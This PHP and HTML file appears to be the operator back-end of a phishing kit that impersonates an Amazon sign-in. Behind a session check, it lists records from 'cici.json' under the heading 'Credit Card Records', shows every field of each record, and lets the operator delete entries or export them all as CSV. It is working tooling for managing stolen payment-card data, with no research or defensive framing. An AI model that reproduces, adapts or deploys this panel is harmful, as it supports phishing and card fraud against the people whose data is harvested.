<?php
session_start();
if (!isset($_SESSION['dibi-ut']) || $_SESSION['dibi-ut'] !== true) {
    http_response_code(403); // Forbidden
    echo json_encode(['error' => 'Unauthorized access']);
    exit();
}

$data_file = "cici.json";
$data = file_exists($data_file) ? json_decode(file_get_contents($data_file), true) : [];

usort($data, function ($a, $b) {
    return strtotime($b['log_at'] ?? '1970-01-01') <=> strtotime($a['log_at'] ?? '1970-01-01');
});

if (isset($_GET['export']) && $_GET['export'] === 'csv') {
    header("Content-Type: text/csv");
    header("Content-Disposition: attachment; filename=cici.csv");
    $out = fopen("php://output", "w");
    fputcsv($out, array_keys($data[0] ?? []));
    foreach ($data as $row) {
        fputcsv($out, $row);
    }
    fclose($out);
    exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>💳 Credit Card Data</title>
    <style>
        body {
            font-family: 'Courier New', Courier, monospace;
            background: #000;
            color: rgb(204, 5, 5);
            padding: 20px;
        }

        h1 {
            margin-bottom: 20px;
            text-shadow: 0 0 4px rgb(204, 5, 5);
        }

        .topbar {
            display: flex;
            justify-content: space-between;
            margin-bottom: 20px;
            flex-wrap: wrap;
            gap: 10px;
        }

        .search {
            padding: 6px 10px;
            width: 250px;
            background: #111;
            color: rgb(204, 5, 5);
            border: 1px solid rgb(204, 5, 5);
            border-radius: 5px;
        }

        .export-btn, .back-btn {
            padding: 6px 12px;
            background: #000;
            color: rgb(204, 5, 5);
            border: 1px solid rgb(204, 5, 5);
            border-radius: 5px;
            cursor: pointer;
            text-shadow: 0 0 2px rgb(204, 5, 5);
        }

        .export-btn:hover, .back-btn:hover {
            background: rgb(204, 5, 5);
            color: #000;
        }

        .card-container {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(320px, 1fr));
            gap: 20px;
        }

        .card {
            background: #111;
            border-radius: 10px;
            box-shadow: 0 0 8px rgb(204, 5, 5);
            padding: 20px;
            line-height: 1.5;
            position: relative;
            border: 1px solid rgb(204, 5, 5);
        }

        .card h3 {
            margin-top: 0;
            color: rgb(204, 5, 5);
        }

        .label {
            font-weight: bold;
            color: #66ff66;
        }

        .value {
            margin-bottom: 8px;
            color: rgb(204, 5, 5);
            word-break: break-word;
        }

        .delete-btn {
            background: transparent;
            color: #ff4d4d;
            border: 1px solid #ff4d4d;
            padding: 5px 10px;
            font-size: 12px;
            border-radius: 5px;
            cursor: pointer;
            position: absolute;
            top: 15px;
            right: 15px;
        }

        .delete-btn:hover {
            background: #ff4d4d;
            color: #000;
        }

        .no-data {
            text-align: center;
            color: #888;
            font-size: 18px;
        }

        a {
            text-decoration: none;
        }
    </style>
    <script>
        function filterCards() {
            const search = document.getElementById("search").value.toLowerCase();
            document.querySelectorAll(".card").forEach(card => {
                const text = card.innerText.toLowerCase();
                card.style.display = text.includes(search) ? "block" : "none";
            });
        }

        async function deleteCard(id) {
            if (!confirm("Are you sure you want to delete this entry?")) return;
            try {
                const res = await fetch("./api/cici_api.php", {
                    method: "DELETE",
                    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
                    body: new URLSearchParams({ id })
                });
                const result = await res.json();
                if (result.status === 'deleted') {
                    location.reload();
                } else {
                    alert("Failed to delete: " + (result.error || "Unknown error"));
                }
            } catch (err) {
                alert("Server communication failed.");
            }
        }
    </script>
</head>
<body>
    <a href="/emailed/amazon-sign/api/admin/index.php" class="back-btn">← Back</a>
    <h1>💳 Credit Card Records</h1>
    <div class="topbar">
        <input type="text" id="search" class="search" onkeyup="filterCards()" placeholder="Search all fields...">
        <a href="?export=csv"><button class="export-btn">📤 Export as CSV</button></a>
    </div>
    <?php if (empty($data)): ?>
        <p class="no-data">No data available.</p>
    <?php else: ?>
        <div class="card-container">
            <?php foreach ($data as $item): ?>
                <div class="card">
                    <button class="delete-btn" onclick="deleteCard('<?= htmlspecialchars($item['id']) ?>')">Delete</button>
                    <h3><?= htmlspecialchars($item['name'] ?? '-') ?></h3>
                    <?php foreach ($item as $key => $value): ?>
                        <?php if ($key !== 'name' && $key !== 'id'): ?>
                            <div>
                                <span class="label"><?= htmlspecialchars(ucwords(str_replace('_', ' ', $key))) ?>:</span>
                                <span class="value"><?= htmlspecialchars($value) ?></span>
                            </div>
                        <?php endif; ?>
                    <?php endforeach; ?>
                </div>
            <?php endforeach; ?>
        </div>
    <?php endif ?>
</body>
</html>
